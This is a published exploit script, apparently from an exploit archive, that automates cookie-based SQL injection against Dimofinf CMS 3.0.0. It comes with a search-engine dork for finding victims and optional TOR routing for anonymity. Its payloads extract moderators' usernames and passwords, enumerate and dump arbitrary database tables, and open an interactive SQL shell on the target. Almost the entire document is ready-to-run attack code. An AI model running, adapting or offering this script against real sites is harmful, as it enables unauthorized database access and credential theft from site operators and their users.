Dimofinf 3.0.0 SQL Injection Vulnerability

# Dimofinf CMS Automatic Cookie SQL Injection exploit
# Google Dork: intext:"Powered by Dimofinf"
# Date: 19/11/2015
# Author: D35m0nd142
# Software link: http://www.dimofinf.net
# Version: 3.0.0
# Tested on: Dimofinf version 3.0.0
# Sometimes it happens that the vulnerability allow you to get moderators' username and password but not the list of tables and columns 
# or viceversa; So if one of them does not work, you could try the other one anyway.

#!/usr/bin/python
import socks
import socket
import requests
import sys,os,time
from random import randint

check = "Duplicate entry '"
tor_addr = "127.0.0.1"
tor_port = 9150
agents = ["Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36",
      "IBM WebExplorer /v0.94","Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firebird/3.6.13",
      "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"]
rand = randint(0,9)
url = ""
headers = {'User-Agent':agents[rand%len(agents)]}

def removeDot(s):
  return s[1:]

def extract(out):
  start = 0
  for x in range(0,len(out)-len(check)):
    beset = True
    for k in range(0,17):
      if(out[x+k] != check[k]):
        beset = False
    if(beset):
      start = x+17
      break
  got = ""
  for x in range(start,len(out)):
    if(out[x] == '~'):
      break
    got += out[x]
  return got

def req(cookies):
  global headers
  r = requests.get(url,cookies=cookie,headers=headers)
  out = r.text
  return out

print "\n-----------------------------------------------------------"
print "Dimofinf CMS v3.0.0 Automatic Cookie SQL Injection exploit"
print "Author: D35m0nd142"
print "-----------------------------------------------------------"

url = raw_input("\nEnter URL -> ") 
if("http" not in url):
  url = "http://%s" %url
tor = raw_input("Do you want to use TOR? (y/n) ")

if(tor == "y" or tor == "Y" or tor == "yes"):
  try:
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, tor_addr, tor_port)
    socket.socket = socks.socksocket
  except requests.ConnectionError as e:
    print "[ERROR] Could not connect to TOR"
    sys.exit(1)

session = requests.Session()
response = session.get(url)
s = str(session.cookies.get_dict())

if("dimguest" in s):
  i = 0
  print "\n[+] 'dimguest' cookie found. Checking exploitability.."
  cookie = {'dimguest':'1\''}
  r = requests.get(url,cookies=cookie,headers=headers)

  choice = "nope"
  if("Database Error" in r.text and "Invalid SQL" in r.text and "You have an error in your SQL" in r.text):
    print "[+] Target seems to be exploitable (SQL error found)."
    cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select user()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#'}
    out = req(cookie)
    current = extract(out)

    if(len(current) < 70):
      print "[+] Current User: %s" %(removeDot(current))
    else:
      print "[+] Current User: ?"

    print "\n----------------------------------------"
    print " 1) Get moderators' usernames:passwords"
    print " 2) Browse DB (wizard)"
    print " 3) SQL shell (difficult)"
    print "----------------------------------------"
    choice = raw_input(" -> ")
    print ""

    if(choice == "1"):
      cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(username,0x3a,password) from moderators limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
      out = req(cookie)

      while(check in out):
        got = extract(out)

        if(len(got) > 0):
          print "[+] GOT: '%s'" %(removeDot(got))
        i += 1
        cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(username,0x3a,password) from moderators limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
        out = req(cookie)

    elif(choice == "2"):
      print "[*] Gathering tables..\n"
      
      cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(table_name) from information_schema.tables where table_schema=database() limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
      out = req(cookie)

      while(check in out):
        got = extract(out)
        if(len(got) > 0):
          print "[Table] '%s'" %(removeDot(got))
        i += 1
        cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(table_name) from information_schema.tables where table_schema=database() limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
        out = req(cookie)

      if(i == 0):
        print "[-] Any table found :("
      
      tables = raw_input("\nEnter the tables (separated by ',') of which you want the columns -> ")
      mytables = []

      tmp = ""
      for x in range(0,len(tables)):
        if(tables[x] == ',' or x == len(tables)-1):
          if(x == len(tables)-1):
            tmp += tables[x]
          mytables.append(tmp)
          tmp = ""
        else:
          tmp += tables[x]

      for table in mytables:
        col_check = []
        k = 0
        print "\n[+] Columns in '%s':\n" %table
        cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(column_name) from information_schema.columns where table_name=\'%s\' limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %(table,k)}
        out = req(cookie)

        while(check in out):
          got = extract(out)
          if(got in col_check):
            break
          if(len(got) > 0):
            col_check.append(got)
            print "  [Column] '%s'" %(removeDot(got))
          k += 1
          cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(column_name) from information_schema.columns where table_name=\'%s\' limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %(table,k)}
          out = req(cookie)

      if(k == 0):
        print "[-] Any column found :("
      
      dump = "nope"
      while(dump != "exit" and dump != "quit"):
        dump = raw_input("\nEnter the table and columns you want to dump (ex: table_name:column1,column2) -> ")

        if(dump == "exit" or dump == "quit"):
          break
        gotTable = False
        table = ""
        cols = []
        col = ""
        for x in range(0,len(dump)):
          if(gotTable is False and dump[x] == ':'):
            gotTable = True
            x += 1
          if(gotTable is False):
            table += dump[x]
          else:
            if(dump[x] == ',' or x == len(dump)-1):
              if(x == len(dump)-1):
                col += dump[x]
              cols.append(col)
              col = ""
            else:
              col += dump[x]

        if(len(cols) > 0):
          cols[0] = (cols[0])[1:]
        print cols

        print "\n[*] Dumping..\n"

        query = "1' and (select 1 from (select count(*),concat(0x3a,(select Concat("
        for colu in cols:
          query += "%s,0x3a," %colu
        query = query[:-1]

        z = 0
        query += ") from %s limit " %table

        while(True):
          snip = "%s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#" %z
          z += 1
          myquery = query+snip
          cookie = {'dimguest':myquery}  
          out = req(cookie)
          if(check not in out):
            break
          got = extract(out)
          print "[Dump]: '%s'" %(removeDot(got))
        print ""

    elif(choice == "3"):
      print "[*] Opening SQL shell..\n"
      time.sleep(0.6)
      cmd = ""
      while(cmd != "exit" and cmd != "quit"):
        cmd = raw_input("SQL-shell> ")
        if(cmd == "exit" or cmd == "quit"):
          break
        cookie = {'dimguest':'1\' and (%s)#' %cmd}
        out = req(cookie)
        got = extract(out)
        print "qui"
        print "[+] GOT: '%s'\n" %(removeDot(got))
    else:
      print "[INPUT ERROR] You entered a not valid choice!"
      sys.exit(1)

  if(i==0 and choice != "3"):
    print "[-] '%s' not vulnerable, or patched." %url

else:
  print "\n[+] Target not vulnerable. (cookie 'dimguest' not found.)"

#  0day.today [2018-03-02]  #